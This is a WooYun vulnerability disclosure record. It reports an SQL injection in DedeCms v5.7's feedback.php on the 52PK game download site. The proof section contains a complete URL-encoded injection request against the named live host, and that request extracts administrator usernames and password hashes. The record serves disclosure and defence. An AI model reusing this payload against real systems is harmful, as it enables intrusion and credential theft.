当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-017816

漏洞标题:52PK游戏网下载站 - SQL注射漏洞,管理员密码泄露

相关厂商:52pk

漏洞作者: laterain

提交时间:2013-01-25 11:52

修复时间:2013-03-11 11:53

公开时间:2013-03-11 11:53

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-01-25: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-03-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

52PK 下载站用的织梦,而织梦有好几个注射,所以。。。

详细说明:

DedeCms v5.7 feedback.php $typeid SQL inj3cti0n

漏洞证明:

http://down.52pk.com/plus/feedback.php?aid=11552

http://down.52pk.com/plus/feedback.php?validate=ZFCU&action=send&comtype=comments&fid=1&isconfirm=yes&msg=90sec&typeid=0%27%2C%273%27%2C%274%27%2C%275%27%2C%270%27%2C%271351739660%27%2C+%270%27%2C%270%27%2C%270%27%2C%270%27%2C%270%27%2C%27aaaaaa%27%29%2C+%28%2711552%27%2C%272%27%2C@%60%27%60%2C%274%27%2C%275%27%2C%271%27%2C%271351739660%27%2C+%270%27%2C%270%27%2C%270%27%2C%270%27%2C%270%27%2C%28SELECT+concat%28uname%2C0x5f%2Cpwd%2C0x5f%29+FROM+%60%23@__admin%60+limit+3%2C1%29%29%23


修复方案:

打补丁或更新到最新版

版权声明:转载请注明来源 laterain@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝